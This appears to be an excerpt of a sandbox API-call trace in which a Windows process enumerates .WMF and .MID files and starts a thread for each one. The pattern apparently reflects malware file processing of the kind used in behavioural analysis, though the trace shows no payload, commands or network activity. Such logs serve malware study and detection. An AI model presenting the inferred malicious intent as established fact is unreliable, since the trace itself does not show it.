	[0234.732] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.733] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1
	[0234.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1414
	[0234.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.736] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1
	[0234.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418
	[0234.739] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.739] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1
	[0234.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c
	[0234.742] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1
	[0234.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420
	[0234.745] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1
	[0234.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424
	[0234.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.749] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1
	[0234.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428
	[0234.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.752] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1
	[0234.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c
	[0234.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.755] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1
	[0234.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1430
	[0234.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.758] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1
	[0234.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434
	[0234.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.761] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1
	[0234.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1438
	[0234.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.763] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1
	[0234.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x143c
	[0234.791] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.792] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1
	[0234.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440
	[0234.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.795] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1
	[0234.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444
	[0234.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.798] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1
	[0234.798] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448
	[0234.800] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.801] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1
	[0234.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c
	[0234.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.805] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1
	[0234.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1450
	[0234.807] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.808] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1
	[0234.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454
	[0234.810] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.810] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1
	[0234.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1458
	[0234.815] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.816] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1
	[0234.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x145c
	[0234.818] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.819] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1
	[0234.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1460
	[0234.821] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.822] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1
	[0234.822] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1464
	[0234.824] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.825] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1
	[0234.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1468
	[0234.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x72, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1
	[0234.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x146c
	[0234.862] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.862] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x72, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1
	[0234.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470
	[0234.864] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.865] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x72, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1
	[0234.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1474
	[0234.867] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.867] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x72, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1
	[0234.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1478
	[0234.870] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.871] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x72, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1
	[0234.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c
	[0234.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
